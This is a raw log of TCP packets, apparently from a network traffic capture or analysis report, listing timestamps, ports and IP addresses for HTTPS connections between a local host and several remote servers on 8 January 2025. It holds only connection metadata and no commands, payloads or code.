Jan 8, 2025 15:44:38.615333080 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615338087 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615364075 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615370035 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615397930 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615421057 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615576029 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615592957 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615638018 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615644932 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615717888 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616014957 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616031885 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616091967 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616097927 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616205931 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616337061 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616353035 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616410971 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616411924 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616419077 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616453886 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616458893 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616492987 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616497993 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616559982 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616616011 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616616011 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.616637945 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.616691113 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.619415998 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.619438887 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.619549990 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.619699001 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.619724989 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.619824886 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.620091915 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.620117903 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.620431900 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.620433092 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.620439053 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.620507956 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.620785952 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.620800018 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.621032000 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.621046066 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.621223927 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.621237993 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.621412992 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.621422052 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.743340015 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743400097 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743427992 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743454933 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743479967 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.743484020 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743505955 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.743521929 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.743549109 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.743556023 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.745176077 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.745301962 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.745466948 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.745628119 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.745640993 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749207020 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749257088 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749296904 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749346972 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.749361038 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749404907 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749423981 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.749428034 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749506950 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.749535084 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.749542952 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.750231981 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.750246048 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.750655890 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762586117 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762656927 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762691021 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762697935 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.762716055 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762761116 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762801886 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.762809992 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.762845039 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.763238907 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.785245895 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.785259962 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.801220894 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.801244974 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.817198038 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.817210913 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.832201958 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.847213984 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.863512039 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.996165991 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.996314049 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.996351957 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.996378899 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.996397018 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.996411085 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.996454000 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.996788025 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.996795893 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.999037027 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.999047995 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.999196053 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.000267029 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.000279903 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.000814915 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.000840902 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.000905037 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.001329899 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.001343966 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.006654024 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.006731987 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.006756067 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.006787062 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.006788969 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.006804943 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.006829977 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.007745028 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.007791996 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.007795095 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.007806063 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.007841110 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.007848978 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.007893085 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.007934093 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.007940054 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.012264013 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.012281895 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.012403011 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.012651920 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.012665987 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.028614998 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.028709888 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.028745890 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.028784037 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.028810024 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.028830051 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.028841019 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.029508114 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.029587984 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.029596090 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.029906988 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.029934883 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.029967070 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.029973984 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.030025005 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.030471087 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.030531883 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.030560970 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.030580997 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.030587912 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.030632019 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.031177998 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.031235933 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.031280041 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.031305075 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.031318903 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.031414032 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.032040119 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.054220915 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.054256916 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.075607061 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.075711966 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.075808048 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.075932026 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.075948000 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.076065063 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.076072931 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.076180935 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.076200962 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.077120066 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.077152014 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.077198029 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.077270031 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.077450037 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.077506065 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.078042984 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078067064 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078109980 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.078239918 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078248978 CET	443	49765	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.078260899 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078391075 CET	49765	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078830004 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.078866959 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.078957081 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.079153061 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079180002 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079217911 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079242945 CET	443	49763	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.079301119 CET	49763	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079478979 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079505920 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.079567909 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079755068 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079770088 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079802990 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.079837084 CET	443	49762	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.079905033 CET	49762	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.080050945 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.080066919 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.080133915 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.080157995 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.080173016 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.080319881 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.080333948 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.080447912 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.080460072 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.083904982 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.085336924 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.085361004 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.086395025 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.086539984 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.086803913 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.086857080 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.086857080 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.086879015 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.087057114 CET	443	49764	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.087089062 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.087121964 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.087124109 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.087124109 CET	49764	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.090712070 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.090728998 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.090894938 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.091077089 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.091089010 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095424891 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095467091 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095498085 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095532894 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095566034 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.095587015 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.095830917 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.099191904 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.099200010 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.103167057 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.118542910 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118580103 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118626118 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118670940 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.118685007 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118695974 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118700027 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.118710995 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.118762970 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.118762970 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.118782043 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119275093 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119342089 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119374037 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.119375944 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119401932 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119412899 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119430065 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.119523048 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.119529963 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.119839907 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.121349096 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121402025 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121413946 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.121424913 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121447086 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121474028 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.121479034 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121503115 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121506929 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.121536970 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121552944 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.121558905 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.121589899 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.165299892 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.207321882 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.261353016 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.263338089 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263438940 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263542891 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.263561010 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263641119 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263670921 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263703108 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263730049 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.263739109 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.263756990 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.264364958 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.264396906 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.264425039 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.264456034 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.264483929 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.264484882 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.264496088 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265022993 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.265028954 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265079021 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265109062 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.265109062 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265120029 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265175104 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265204906 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265207052 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.265214920 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265269995 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.265902996 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.265974998 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.266009092 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.266015053 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.266041040 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.266813040 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.266925097 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.266936064 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.267050028 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.299664021 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.299877882 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.299916029 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.299931049 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.299957991 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300107956 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300470114 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300503016 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300512075 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300542116 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300587893 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300626040 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300632000 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300651073 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300654888 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.300920963 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.300926924 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.301239967 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.301280975 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.301321030 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.301347017 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.301352978 CET	443	49752	104.21.28.45	192.168.2.16
